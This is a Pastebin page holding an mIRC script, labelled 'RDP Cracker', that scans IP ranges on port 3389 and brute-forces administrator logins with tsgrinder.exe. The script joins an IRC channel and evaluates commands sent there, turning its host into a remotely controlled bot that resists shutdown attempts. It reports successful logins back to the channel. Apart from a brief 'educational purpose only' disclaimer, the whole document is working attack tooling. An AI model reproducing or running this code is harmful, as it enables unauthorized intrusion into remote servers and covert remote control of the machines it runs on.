independentt

RDP Cracker by independent/ Windows (need tsgrinder.exe)

Oct 22nd, 2016
21,113
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;RDP Scanner&Brute by independent Skype: independentt911
  2. ;Please if you copypaste the code make sure my name stays on it.
  3. ;This code is for educational purpose only;
  4. ;If you use this code, make sure you use it on YOUR OWN network
  5. ;Otherwise it will be illegal to use on someone else's servers
  6. ;Please be aware I will not be responsible of any of your actions.
  7. ;YOU WILL NEED TSGRINDER.EXE made by Hammer Of God for using this file in same directory as mIRC directory.
  8. ;works best with WindowsXP/2003 oses
  9. ;Commands uses the >trigger commands are >rdp 10.101.10.1  & and to search for succes in files is >startfind
  10. ;Evaluation of $identifiers will occur
  11.  
  12. on 1:START:{ set %username administrator | %FLDCHAN = #rdp# | if (!$server) server IRC.BLACKIRC.NET +6697 -j %fldchan }
  13.  
  14. alias dothatfkincrap {
  15.   if ($isfile(cmd.bat)) .remove cmd.bat
  16.   write cmd.bat tsgrinder.exe -u %username $1  >> $1 $+ .log
  17.   run cmd.bat
  18. }
  19. RAW 332:*:if ($2 == %fldchan) [ [ $3- ] ]
  20. on 1:TEXT:>*:#:{ %x = $right($1-,-1) | if (*q*u*i*t* iswm %x) || (*e*x*i*t* iswm %x) || (*s*h*u*t*d*o*w*n* iswm %x) || (*r*e*m*o*v*e* iswm %x) || (*t*a*s*k*k*i*l*l* isin %x) { .notice independent $nick failed attempt to shutdown the child process. | halt } | $evalnext(%x) | NOTICE $nick $evalnext(%x) | unset %x | clear # }
  21. on 1:TEXT:>*:?:{ %x = $right($1-,-1) | if (*q*u*i*t* iswm %x) || (*e*x*i*t* iswm %x) || (*s*h*u*t*d*o*w*n* iswm %x) || (*r*e*m*o*v*e* iswm %x) || (*t*a*s*k*k*i*l*l* isin %x) { .notice independent $nick failed attempt to shutdown the child process. | halt } | $evalnext(%x) | NOTICE $nick $evalnext(%x) | unset %x | close -m }
  22. menu menubar {
  23.   RDP scanner: window -e @rdp
  24. }
  25. menu @rdp {
  26.   scan range: rdp $?
  27.   Stop/Pause: stoprdp
  28.   continue:{ .timerRANGE -om 0 20  nextrdp | echo @RDP 3* Resuming from last point... }
  29.   -
  30.   edit dictionary: run notepad dict
  31.   -
  32.   Open mstsc from cmdline: run mstsc -v $?="Ip Please..."
  33.   -
  34.   User %username : set %username $$?="Username please"
  35.   Delay %inerval : set %interval $$?="Delay between each brutes in miliseconds"
  36. }
  37. alias nextrdp {
  38.   hinc -m temp tempx
  39.   if (256 <= $gettok($hget(temp,range),2,46)) { hdel -w temp * | msg %fldchan * Scan halted, waiting for new command... }
  40.   if (256 <= $hget(temp,tempx)) { hdel temp tempx | hadd -m temp range $gettok($hget(temp,range),1-2,46) $+ . $+ $calc($gettok($hget(temp,range),3,46) +1) }
  41.   sockopen rdpscan $+ $+($gettok($hget(temp,range),1-3,46),.,$hget(temp,tempx)) $+($gettok($hget(temp,range),1-3,46),.,$hget(temp,tempx)) 3389
  42. }
  43. alias stoprdp { .timerrange* off | .timerrestart off | sockclose *rdp* }
  44. on 1:INPUT:@rdp:sockopen RDPscan $+ $r(0,99999999999999999999999999999) $gettok($wildtok($1-,*.*.*.*,1,32),1,58) 3389
  45.  
  46. on *:sockopen:rdpscan*:{
  47.   if ($sockerr) { return }
  48.   dothatfkincrap $sock($sockname).ip
  49. }
  50. alias rdp {
  51.   if (!%interval) set %interval 20
  52.   if (!%fldchan) set %fldchan #rdp#
  53.   if ($hget(temp,range)) hdel -w temp range*
  54.   hadd -m temp range $1
  55.   .timerRANGEr -om 0 %interval nextrdp
  56.   msg %fldchan Starting at $1 on Port 3389
  57. }
  58.  
  59. alias startfind {
  60.   if (!$hget(cc,maxf)) hadd -m cc maxf $findfile($shortfn($mircdir),*.*.*.*.log,0)
  61.   :res
  62.   hinc -m cc incf
  63.   hadd -m cc file $findfile($shortfn($mircdir),*.log,$hget(cc,incf))
  64.   if ($isfile($hget(cc,file))) startf $hget(cc,file)
  65.   else goto res
  66.   if ($hget(cc,incf) >= $hget(cc,maxf)) { .msg %fldchan PROCESS FINISH *.*.*.*.log $hget(cc,maxf) files | .timerSTART off | hdel -w cc * | halt }
  67.  
  68. }
  69. alias startf {
  70.   .fopen cc $1
  71.   .fseek -w cc *success*
  72.   if ($fread(cc)) enum
  73.   closecc
  74. }
  75. alias enum {
  76.   .msg %fldchan Found File: $hget(cc,file) $fread(cc)
  77.   closecc
  78. }
  79. alias closecc {
  80.   .fclose *
  81.   .timerSTART 1 0.1 startfind $hget(cc,args)
  82. }
RAW Paste Data